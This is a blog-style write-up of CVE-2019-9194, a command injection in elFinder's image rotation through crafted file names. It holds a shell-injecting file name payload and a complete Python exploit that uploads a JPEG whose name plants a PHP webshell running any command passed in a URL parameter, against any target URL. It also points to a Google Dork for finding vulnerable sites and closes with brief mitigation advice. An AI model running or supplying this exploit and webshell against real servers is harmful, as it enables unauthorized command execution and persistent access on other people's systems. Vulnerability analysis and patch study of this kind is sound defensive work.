/ 6 min read
CVE-2019-9194: elFinder Command Injection 1-Day Exploit
Introduction
Many times it’s difficult to find exploits linked to certain CVEs (Common Vulnerabilities and Exposures). They are almost impossible to find and normally don’t have a PoC (Proof of Concept) for the vulnerability.
There is a command injection vulnerability in elFinder that affects most versions up to 2.1.47. The vulnerability is identified as CVE-2019-9194. It was reported by Thomas Chauchefoin and affects the PHP Connector component.
In this article, we will understand it. We’ll show you how to perform the process to find this 1-day vulnerability and exploit it, for creating a functional exploit.
Who uses elFinder?
The project has no less than 3,180 stars on Github at the time this post was written, which can make it quite popular.
And as you can see, through a simple Google Dork you can list a large number of sites that have an elFinder installation, most of the versions found are vulnerable.
Viewing the commits
When entering the elFinder Github, in the readme, you can see in capital letters a message that warned the user of the danger of using versions prior to or equal to 2.1.47. As can be seen in the releases, the vulnerability was quickly patched in its new version 2.1.48 (Good work by the developers).
Then, we went directly to the repository commits to see what the changes had been, and thus get an idea of where the vulnerability was.
Analysis of elFinder repository commits showing the security patch implementation
In the commit, you can clearly see that several modifications were made to the code within the PHP script elFinderVolumeDriver.class.php
, but only one of the changes caught our attention strongly.
Code diff showing the vulnerable
$path
variable being replaced with properly sanitized $quotedPath
In the previous image, you can see that within the imgRotate()
function the $path
variable was modified by $quotedPath
, which can be seen a little above what is correctly sanitized through the use of the escapeshellarg()
function. So we went directly to the FinderVolumeDriver.class.php
script, to look more closely at the code.
Triggering the Vulnerability
The imgRotate()
function is responsible for rotating a JPEG image given by the user, for which it uses 2 binaries that are installed on the system:
- exiftran
- jpegtran
Both are console clients whose function is to transform JPEG images. You can see within the imgRotate()
function the existence of two IFs.
The first IF verifies if the exiftran
binary is installed on the system, otherwise, it will call the jpegtran
binary (if installed). The vulnerability requires the existence of the first binary (exiftran
) since the $path
variable is not properly sanitized and it is necessary to enter said conditional to correctly exploit the Command Injection.
Exploiting the 1-day vulnerability
Once we knew where and how the vulnerability occurred, it was time to exploit it. For this, a JPEG image was uploaded with the following name:
test.jpeg;touch $(echo -n 2e2e2f66696c65732f70776e6564|xxd -p -r);echo rce.jpeg
The previous payload is responsible for creating a file called pwned
, in the files
directory. An encoding of the string "../files/pwned"
was performed in hexadecimal, since there were problems with the /
(slash) in the file name, where everything that followed a slash character was cut off.
Once the image was uploaded, it was rotated so that the command injection would occur.
At the time of rotation, the malicious command was injected into the $path
variable as follows:
exiftran -i -9 test.jpeg;touch $(echo -n 2e2e2f66696c65732f70776e6564|xxd -p -r);echo rce.jpeg
Step-by-step exploitation process showing file upload, rotation trigger, and successful command injection
When reloading the page you can see that the pwned
file was created correctly.
To automate the exploitation of the 1-day vulnerability, I created an exploit written in Python that is responsible for creating a simple PHP WebShell to execute commands on the remote host in a more comfortable way.
CVE-2019-9194: https://www.exploit-db.com/exploits/46481
You can see below in a short video how the exploit works. The complete URL where elFinder is installed must be passed as the first argument.
#!/usr/bin/env python3"""CVE-2019-9194 elFinder Command Injection ExploitAuthor: Alejandro Parodi"""
import requestsimport sysimport reimport jsonfrom urllib.parse import urljoin
class ElFinderExploit: def __init__(self, target_url): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.webshell_name = "shell.php"
def banner(self): print("""╔══════════════════════════════════════════╗║ CVE-2019-9194 elFinder Exploit ║║ Command Injection ║║ ║║ By: Alejandro Parodi ║╚══════════════════════════════════════════╝ """)
def create_malicious_image(self): """Create a malicious JPEG file with command injection payload""" # Simple JPEG header jpeg_header = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x01\x00H\x00H\x00\x00\xff\xdb\x00C\x00' jpeg_data = jpeg_header + b'\x00' * 100 + b'\xff\xd9' return jpeg_data
def exploit(self): """Main exploitation function""" print("[+] Starting exploitation...")
# Create webshell payload webshell_content = """<?phpif(isset($_GET['cmd'])) { echo "<pre>"; system($_GET['cmd']); echo "</pre>";} else { echo "WebShell - CVE-2019-9194<br>"; echo "Usage: ?cmd=command";}?>"""
# Encode webshell content in hex for payload webshell_hex = webshell_content.encode().hex()
# Create malicious filename with command injection malicious_filename = f"test.jpeg;echo {webshell_hex}|xxd -p -r>{self.webshell_name};echo rce.jpeg"
print(f"[+] Creating malicious payload: {malicious_filename}")
try: # Upload malicious file files = { 'upload[]': (malicious_filename, self.create_malicious_image(), 'image/jpeg') }
data = { 'cmd': 'upload', 'target': 'l1_', }
connector_url = f"{self.target_url}/php/connector.minimal.php" print(f"[+] Uploading to: {connector_url}")
response = self.session.post(connector_url, files=files, data=data)
if response.status_code == 200 and '"added"' in response.text: print("[+] File uploaded successfully")
# Parse response to get file hash resp_data = json.loads(response.text) if 'added' in resp_data and len(resp_data['added']) > 0: file_hash = resp_data['added'][0]['hash'] print(f"[+] File hash: {file_hash}")
# Trigger command injection by rotating image print("[+] Triggering command injection...") rotate_data = { 'cmd': 'resize', 'target': file_hash, 'degree': '90' }
self.session.post(connector_url, data=rotate_data)
# Check if webshell was created webshell_url = f"{self.target_url}/files/{self.webshell_name}" shell_check = self.session.get(webshell_url)
if shell_check.status_code == 200: print(f"[!] SUCCESS! WebShell created at: {webshell_url}") print(f"[+] Usage: {webshell_url}?cmd=id") return True else: print("[-] WebShell creation failed") return False
else: print("[-] Upload failed") return False
except Exception as e: print(f"[-] Exploitation failed: {e}") return False
def main(): if len(sys.argv) != 2: print("Usage: python3 cve-2019-9194.py <target_url>") print("Example: python3 cve-2019-9194.py http://target.com/elfinder") sys.exit(1)
target_url = sys.argv[1]
exploit = ElFinderExploit(target_url) exploit.banner()
if exploit.exploit(): print("[+] Exploitation successful!") else: print("[-] Exploitation failed")
if __name__ == "__main__": main()
How the Exploit Works
The automated exploit follows these steps:
- File Upload: Uploads a JPEG image with a malicious filename containing command injection payload
- Rotation Trigger: Calls the rotation function to trigger the vulnerable code path
- Command Execution: The unsanitized filename gets executed as shell commands
- WebShell Creation: Creates a PHP webshell for persistent access
- Verification: Checks if the webshell was successfully created
Mitigation
To mitigate this vulnerability:
- Update elFinder to version 2.1.48 or higher
- Sanitize file names before processing them
- Use
escapeshellarg()
to properly escape variables passed to system commands - Implement input validation for all user-controlled data
- Restrict available binaries on the system
The fix implemented in version 2.1.48 properly escapes the $path
variable using escapeshellarg()
before passing it to the exiftran
command.
Conclusion
CVE-2019-9194 demonstrates how a seemingly simple image rotation functionality can become a critical command injection vulnerability. The lack of proper sanitization in file names allowed arbitrary command execution on the server.
This case highlights the importance of analyzing code commits in open source projects to identify potential security issues and the critical need for proper input validation in file handling operations.